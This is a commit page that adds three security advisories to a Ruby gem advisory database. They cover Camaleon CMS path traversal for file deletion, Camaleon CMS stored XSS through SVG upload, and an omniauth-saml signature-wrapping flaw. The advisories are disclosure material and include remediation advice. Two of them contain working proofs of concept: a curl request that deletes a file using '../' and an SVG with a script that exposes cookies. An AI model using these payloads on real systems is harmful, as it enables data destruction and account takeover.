Skip to content

Commit 957801a

Browse files
jasnowjasnow
committed
GHSA SYNC: 3 brand new advisories
1 parent ebac396 commit 957801a

File tree

3 files changed

+194
-0
lines changed

3 files changed

+194
-0
lines changed

‎gems/camaleon_cms/GHSA-7x4w-cj9r-h4v9.yml‎

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
---
2+
gem: camaleon_cms
3+
ghsa: 7x4w-cj9r-h4v9
4+
url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-7x4w-cj9r-h4v9
5+
title: Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185)
6+
date: 2024-09-18
7+
description: |
8+
The [actions](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L51-L52)
9+
defined inside of the MediaController class do not check whether a
10+
given path is inside a certain path (e.g. inside the media folder).
11+
If an attacker performed an account takeover of an administrator
12+
account (See: GHSL-2024-184) they could delete arbitrary files or
13+
folders on the server hosting Camaleon CMS. The
14+
[crop_url](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L64-L65)
15+
action might make arbitrary file writes (similar impact to GHSL-2024-182)
16+
for any authenticated user possible, but it doesn't seem to work currently.
17+
18+
Arbitrary file deletion can be exploited with following code path:
19+
The parameter folder flows from the actions method:
20+
```ruby
21+
def actions
22+
authorize! :manage, :media if params[:media_action] != 'crop_url'
23+
params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present?
24+
case params[:media_action]
25+
[..]
26+
when 'del_file'
27+
cama_uploader.delete_file(params[:folder].gsub('//', '/'))
28+
render plain: ''
29+
```
30+
into the method delete_file of the CamaleonCmsLocalUploader
31+
class (when files are uploaded locally):
32+
```ruby
33+
def delete_file(key)
34+
file = File.join(@root_folder, key)
35+
FileUtils.rm(file) if File.exist? file
36+
@instance.hooks_run('after_delete', key)
37+
get_media_collection.find_by_key(key).take.destroy
38+
end
39+
```
40+
Where it is joined in an unchecked manner with the root folder and
41+
then deleted.
42+
43+
**Proof of concept**
44+
The following request would delete the file README.md in the top
45+
folder of the Ruby on Rails application. (The values for auth_token,
46+
X-CSRF-Token and _cms_session would also need to be replaced with
47+
authenticated values in the curl command below)
48+
```
49+
curl --path-as-is -i -s -k -X $'POST' \
50+
-H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \
51+
-b $'auth_token=[..]; _cms_session=[..]' \
52+
--data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..
53+
2F..
54+
2F..
55+
2FREADME.md&media_action=del_file' \
56+
$'https://<camaleon-host>/admin/media/actions?actions=true'
57+
```
58+
59+
**Impact**
60+
61+
This issue may lead to a defective CMS or system.
62+
63+
**Remediation**
64+
65+
Normalize all file paths constructed from untrusted user input
66+
before using them and check that the resulting path is inside the
67+
targeted directory. Additionally, do not allow character sequences
68+
such as .. in untrusted input that is used to build paths.
69+
70+
**See also:**
71+
72+
[CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)
73+
[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
74+
cvss_v3: 7.2
75+
patched_versions:
76+
- ">= 2.8.1"
77+
related:
78+
url:
79+
- https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-7x4w-cj9r-h4v9
80+
- https://github.com/owen2345/camaleon-cms/commit/f5d032549fa0a204d06e738caf2663607967dee2
81+
- https://github.com/advisories/GHSA-7x4w-cj9r-h4v9

‎gems/camaleon_cms/GHSA-r9cr-qmfw-pmrc.yml‎

Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
---
2+
gem: camaleon_cms
3+
ghsa: r9cr-qmfw-pmrc
4+
url: https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-r9cr-qmfw-pmrc
5+
title: Camaleon CMS vulnerable to stored XSS through user file upload (GHSL-2024-184)
6+
date: 2024-09-18
7+
description: |
8+
A stored cross-site scripting has been found in the image upload
9+
functionality that can be used by normal registered users:
10+
It is possible to upload a SVG image containing JavaScript and
11+
it's also possible to upload a HTML document when the format
12+
parameter is manually changed to
13+
[documents](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_uploader.rb#L105-L106)
14+
or a string of an
15+
[unsupported format](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/uploaders/camaleon_cms_uploader.rb#L110-L111).
16+
If an authenticated user or administrator visits that uploaded
17+
image or document malicious JavaScript can be executed on their
18+
behalf (e.g. changing or deleting content inside of the CMS.)
19+
20+
** Proof of concept **
21+
22+
Login as a normal user (if user signup is enabled).
23+
Go to the user's profile.
24+
And upload the following profile picture via drag and drop.
25+
The content of the SVG file could be as follows (e.g. name it test-xss.svg):
26+
27+
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
28+
<svg
29+
xmlns:dc="http://purl.org/dc/elements/1.1/"
30+
xmlns:cc="http://creativecommons.org/ns#"
31+
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
32+
xmlns:svg="http://www.w3.org/2000/svg"
33+
xmlns="http://www.w3.org/2000/svg"
34+
width="500"
35+
height="500"
36+
viewBox="0 0 198.4375 52.916666"
37+
version="1.1">
38+
<g
39+
transform="translate(-9.8676114,4.8833333)">
40+
<path
41+
d="m 107.79557,-10.430538 -7.33315,-0.02213 -3.647402,-6.361755 3.685742,-6.339624 7.33314,0.02213 3.64741,6.361756 z"
42+
style="fill:#131f6b;fill-opacity:1;stroke-width:0.05937638"
43+
transform="scale(1,-1)" />
44+
<!-- The below lines were added in a text editor to the image XML. This is the stored XSS attack. -->
45+
<script type="text/javascript">
46+
alert("This is an example of a stored XSS attack in an SVG image, here's the cookie: " + document.cookie);
47+
</script>
48+
</g>
49+
</svg>
50+
51+
The server might fail with a 500 internal server error, but the
52+
uploaded image should be available at a location like
53+
https://<camaleon-host>/media/1/test-xss-cookie.svg. If an
54+
authenticated user or administrator accesses that link their
55+
auth_token is reflected. Since the auth_token cookie contains a
56+
static [auth token](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/models/concerns/camaleon_cms/user_methods.rb#L18-L19)
57+
value that only changes when a user changes their password.
58+
59+
**Impact**
60+
61+
This issue may lead to account takeover due to reflected
62+
Cross-site scripting (XSS).
63+
64+
**Remediation**
65+
66+
Only allow the upload of safe files such as PNG, TXT and others
67+
or serve all "unsafe" files such as SVG and other files with a
68+
content-disposition: attachment header, which should prevent
69+
browsers from displaying them.
70+
71+
Additionally, a [Content security policy (CSP)](https://web.dev/articles/csp)
72+
can be created that disallows inlined script. (Other parts of the
73+
application might need modification to continue functioning.)
74+
75+
To prevent the theft of the auth_token it could be marked with
76+
HttpOnly. This would however not prevent that actions could be
77+
performed as the authenticated user/administrator. Furthermore,
78+
it could make sense to use the authentication provided by
79+
Ruby on Rails, so that stolen tokens cannot be used anymore
80+
after some time.
81+
cvss_v3: 5.4
82+
patched_versions:
83+
- ">= 2.8.1"
84+
related:
85+
url:
86+
- https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-r9cr-qmfw-pmrc
87+
- https://github.com/owen2345/camaleon-cms/commit/b18fbc74f3ecd98a1f781d015f5466ef16b1425b
88+
- https://github.com/advisories/GHSA-r9cr-qmfw-pmrc

‎gems/omniauth-saml/GHSA-cvp8-5r8g-fhvq.yml‎

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
---
2+
gem: omniauth-saml
3+
ghsa: cvp8-5r8g-fhvq
4+
url: https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
5+
title: omniauth-saml vulnerable to Improper Verification of Cryptographic Signature
6+
date: 2024-09-11
7+
description: |
8+
ruby-saml, the dependent SAML gem of omniauth-saml has a signature
9+
wrapping vulnerability in <= v1.12.0 and v1.13.0 to v1.16.0 , see
10+
https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
11+
12+
As a result, omniauth-saml created a [new release](https://github.com/omniauth/omniauth-saml/releases)
13+
by upgrading ruby-saml to the patched versions v1.17.
14+
cvss_v3: 10.0
15+
patched_versions:
16+
- "~> 1.10.5"
17+
- "~> 2.1.2"
18+
- ">= 2.2.1"
19+
related:
20+
url:
21+
- https://github.com/omniauth/omniauth-saml/commit/4274e9d57e65f2dcaae4aa3b2accf831494f2ddd
22+
- https://github.com/omniauth/omniauth-saml/commit/6c681fd082ab3daf271821897a40ab3417382e29
23+
- https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
24+
- https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq
25+
- https://github.com/advisories/GHSA-cvp8-5r8g-fhvq

0 commit comments

Comments
 (0)